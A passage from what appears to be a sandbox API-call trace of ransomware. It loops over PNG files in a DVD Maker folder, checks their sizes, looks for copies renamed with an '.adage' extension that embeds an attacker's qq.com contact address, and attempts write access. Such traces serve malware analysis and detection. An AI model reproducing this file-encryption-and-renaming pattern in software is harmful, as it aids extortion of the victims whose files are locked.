dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.736] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.736] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4710) returned 1 [0058.736] CloseHandle (hObject=0x184) returned 1 [0058.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png")) returned 0x20 [0058.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.737] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.738] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=22969) returned 1 [0058.738] CloseHandle (hObject=0x184) returned 1 [0058.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png")) returned 0x20 [0058.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.738] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.738] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5647) returned 1 [0058.738] CloseHandle (hObject=0x184) returned 1 [0058.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png")) returned 0x20 [0058.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.739] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.739] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3214) returned 1 [0058.739] CloseHandle (hObject=0x184) returned 1 [0058.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png")) returned 0x20 [0058.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.740] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.740] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4570) returned 1 [0058.741] CloseHandle (hObject=0x184) returned 1 [0058.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png")) returned 0x20 [0058.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.741] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.741] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4570) returned 1 [0058.741] CloseHandle (hObject=0x184) returned 1 [0058.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png")) returned 0x20 [0058.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.744] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.744] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5088) returned 1 [0058.744] CloseHandle (hObject=0x184) returned 1 [0058.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png")) returned 0x20 [0058.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.745] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.745] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3130) returned 1 [0058.745] CloseHandle (hObject=0x184) returned 1 [0058.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png")) returned 0x20 [0058.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.746] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.746] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5025) returned 1 [0058.746] CloseHandle (hObject=0x184) returned 1 [0058.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png")) returned 0x20 [0058.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.746] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.746] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3118) returned 1 [0058.747] CloseHandle (hObject=0x184) returned 1 [0058.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png")) returned 0x20 [0058.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.755] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.756] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4955) returned 1 [0058.756] CloseHandle (hObject=0x184) returned 1 [0058.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png")) returned 0x20 [0058.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.756] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.756] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3081) returned 1 [0058.756] CloseHandle (hObject=0x184) returned 1 [0058.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png")) returned 0x20 [0058.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.757] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.757] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=24066) returned 1 [0058.757] CloseHandle (hObject=0x184) returned 1 [0058.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png")) returned 0x20 [0058.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.758] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.758] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2962) returned 1 [0058.758] CloseHandle (hObject=0x184) returned 1 [0058.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png")) returned 0x20 [0058.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.758] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.758] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2928) returned 1 [0058.759] CloseHandle (hObject=0x184) returned 1 [0058.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png")) returned 0x20 [0058.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.759] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.759] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3000) returned 1 [0058.759] CloseHandle (hObject=0x184) returned 1 [0058.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png")) returned 0x20 [0058.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.760] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0x80000000, 